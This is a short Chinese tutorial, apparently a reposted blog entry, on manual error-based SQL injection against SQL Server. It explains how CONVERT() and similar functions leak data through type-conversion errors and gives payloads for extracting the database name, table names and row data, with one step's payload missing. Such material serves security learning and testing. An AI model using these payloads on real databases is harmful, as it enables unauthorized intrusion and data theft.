• SQL server手注之报错注入


    concert()函数

    功能

    把日期转换为新数据类型的通用函数

    语法

    CONVERT(date_type(length),data_to_be_convrted,style)

    • date_type(length) 规定目标数据类型
    • data_to_be_converted 含有需要转换的值
    • style 规定日期/时间的输出格式

    示例

    • CONVERT(VARCHAR(19),GETDATE())
    • CONVERT(VARCHAR(10),GETDATE(),110)
    • CONVERT(VARCHAR(24),GETDATE(),106)

    原理

    • 以convert(int,@@version),convert函数首先会执行第二个参数指定的SQL查询,然后将查询结果转换为int类型
    • 但是由于SQL查询的结果是varchar型,无法进行指定的转换
    • 所以convert函数会抛出一个SQL server错误消息,指出SQL查询结果无法转换为int类型

    满足条件的函数

    • convert()
    • file_name()
    • db_name()
    • col_name()
    • filegroup_name()
    • object_name()
    • schema_name()
    • type_name()
    • cast()

    注入姿势~

    确认好注入点后

    查询基本信息

    • convert(int,da_name)

      得到当前数据库名为:text

    获取当前数据库的表名

    • convert(int,(select top 1 table_name from information_schema.tables))

      得到表名为cmd

    获取列名


    得到列名为a,且cmd这张表中只有a这一列数据

    • cast(十六进制的表名 as varchar)

    获取数据

    • convert(int,(select top 1 name a from cmd))
  • 相关阅读:
    443. String Compression
    506. Relative Ranks
    825. Friends Of Appropriate Ages
    447. Number of Boomerangs
    54. Spiral Matrix
    744. Find Smallest Letter Greater Than Target
    HDU-1565 方格取数(1)
    zoj 3672 Gao The Sequence
    ZOJ 3675 Trim the Nails
    poj -2955 Brackets
  • 原文地址:https://www.cnblogs.com/ceiling-/p/14430193.html
Copyright © 2020-2023  润新知